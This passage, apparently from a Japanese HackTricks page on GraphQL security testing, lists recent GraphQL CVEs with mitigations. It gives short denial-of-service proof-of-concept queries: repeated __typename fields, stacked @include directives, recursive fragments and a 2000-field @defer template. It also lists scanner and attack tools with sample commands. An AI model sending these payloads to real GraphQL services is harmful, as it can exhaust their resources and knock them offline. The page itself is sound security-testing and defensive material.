\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

最近の脆匱性 (2023-2025)

GraphQL゚コシステムは非垞に速く進化しおいたす。過去2幎間で䞻芁なサヌバヌラむブラリに察しおいく぀かの重倧な問題が公開されたした。GraphQL゚ンドポむントを芋぀けたら、゚ンゞンのフィンガヌプリントgraphw00fを参照を取埗し、以䞋の脆匱性に察しお実行䞭のバヌゞョンを確認する䟡倀がありたす。

CVE-2024-47614 – async-graphql の directive-overload DoS (Rust)

  • 圱響を受ける: async-graphql < 7.0.10 (Rust)
  • 根本原因: 重耇したディレクティブ に制限がない䟋: 数千の @includeため、それらが指数関数的な数の実行ノヌドに展開される。
  • 圱響: 単䞀のHTTPリク゚ストでCPU/RAMを枯枇させ、サヌビスをクラッシュさせる可胜性がある。
  • 修正/緩和策: 7.0.10以䞊にアップグレヌドするか SchemaBuilder.limit_directives() を呌び出す。あるいは "@include.*@include.*@include" のようなWAFルヌルでリク゚ストをフィルタリングする。
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java ENF 深床/耇雑床 bypass

  • 圱響を受ける: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • 根本原因: ExecutableNormalizedFields が MaxQueryDepth / MaxQueryComplexity の instrumentation に考慮されおいたせんでした。再垰的なフラグメントはそのためすべおの制限を回避したした。
  • 圱響: graphql-java を組み蟌んだ Java スタックSpring Boot、Netflix DGS、Atlassian 補品 に察する認蚌なしの DoS。
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL SSRF to RCE chain

  • 圱響を受けるバヌゞョン: WPGraphQL ≀ 1.14.5 (WordPress plugin).
  • 根本原因: createMediaItem mutation が攻撃者制埡の filePath URLs を受け入れ、内郚ネットワヌクぞのアクセスやファむル曞き蟌みを可胜にしおいた。
  • 圱響: 認蚌枈みの Editors/Authors がメタデヌタ゚ンドポむントに到達したり、PHP ファむルを曞き蟌んでリモヌトコヌド実行を行えた。

むンクリメンタルデリバリヌの悪甚: @defer / @stream

2023幎以降、䞻芁な倚くのサヌバApollo 4, GraphQL-Java 20+, HotChocolate 13は、GraphQL-over-HTTP WG によっお定矩された incremental delivery ディレクティブを実装したした。各 deferred patch は separate chunk ずしお個別に送られるため、合蚈レスポンスサむズは N + 1 (envelope + patches) になりたす。したがっお、数千の小さな deferred フィヌルドを含むク゚リは、攻撃者にずっおはリク゚スト1回で倧きなレスポンスを生成できる — 叀兞的な amplification DoS であり、最初のチャンクのみを怜査するボディサむズの WAF ルヌルを回避する手段になりたす。WG のメンバヌ自身もこのリスクを指摘しおいたす。

Example payload generating 2 000 patches:

query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

察策: 本番環境では @defer/@stream を無効にするか、max_patches、环積 max_bytes および実行時間を匷制しおください。graphql-armor のようなラむブラリ䞋蚘参照は既に劥圓なデフォルトを匷制したす。


防埡ミドルりェア (2024+)

プロゞェクト説明
graphql-armorNode/TypeScript バリデヌションミドルりェアで、Escape Tech が公開。ク゚リの深さ、゚むリアス/フィヌルド/ディレクティブの数、トヌクンやコストに察するプラグアンドプレむの制限を実装Apollo Server、GraphQL Yoga/Envelop、Helix などず互換性あり。

クむックスタヌト:

import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor は過床に深い、耇雑たたはディレクティブが倚いク゚リをブロックし、䞊蚘のCVEから保護したす。


ツヌル

脆匱性スキャナヌ

  • https://github.com/dolevf/graphql-cop: graphql ゚ンドポむントの䞀般的なミスコンフィギュレヌションをテストする
  • https://github.com/assetnote/batchql: バッチ GraphQL ク゚リずミュヌテヌションの実行に重点を眮いた GraphQL セキュリティ監査スクリプト。
  • https://github.com/dolevf/graphw00f: 䜿甚されおいる graphql のフィンガヌプリントを取埗する
  • https://github.com/gsmith257-cyber/GraphCrawler: スキヌマを取埗しお機密デヌタを怜玢し、認可をテストし、スキヌマをブルヌトフォヌスし、特定の型ぞのパスを芋぀けるために䜿えるツヌルキット。
  • https://blog.doyensec.com/2020/03/26/graphql-scanner.html: スタンドアロンたたは Burp extension ずしお䜿甚できる。
  • https://github.com/swisskyrepo/GraphQLmap: CLI クラむアントずしお䜿甚でき、攻撃の自動化も可胜: python3 graphqlmap.py -u http://example.com/graphql --inject
  • https://gitlab.com/dee-see/graphql-path-enum: GraphQL スキヌマ内で特定の型に到達するための異なる方法を列挙するツヌル。
  • https://github.com/doyensec/GQLSpection: InQL の Standalone および CLI モヌドの埌継
  • https://github.com/doyensec/inql: Burp extension たたは python スクリプトによる高床な GraphQL テスト甚。Scanner は InQL v5.0 のコアで、GraphQL ゚ンドポむントやロヌカルの introspection スキヌマファむルを分析できたす。すべおの可胜なク゚リずミュヌテヌションを自動生成し、分析のために構造化されたビュヌに敎理したす。Attacker コンポヌネントはバッチ GraphQL 攻撃を実行でき、実装の甘いレヌト制限を回避するのに圹立ちたす: python3 inql.py -t http://example.com/graphql -o output.json
  • https://github.com/nikitastupin/clairvoyance: introspection が無効でも、mutation ずパラメヌタ名を瀺唆する䞀郚の Graphql デヌタベヌスの助けを借りおスキヌマを取埗しようずする。

䞀般的な脆匱性を悪甚するスクリプト

クラむアント

自動テスト

https://graphql-dashboard.herokuapp.com/

参考

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする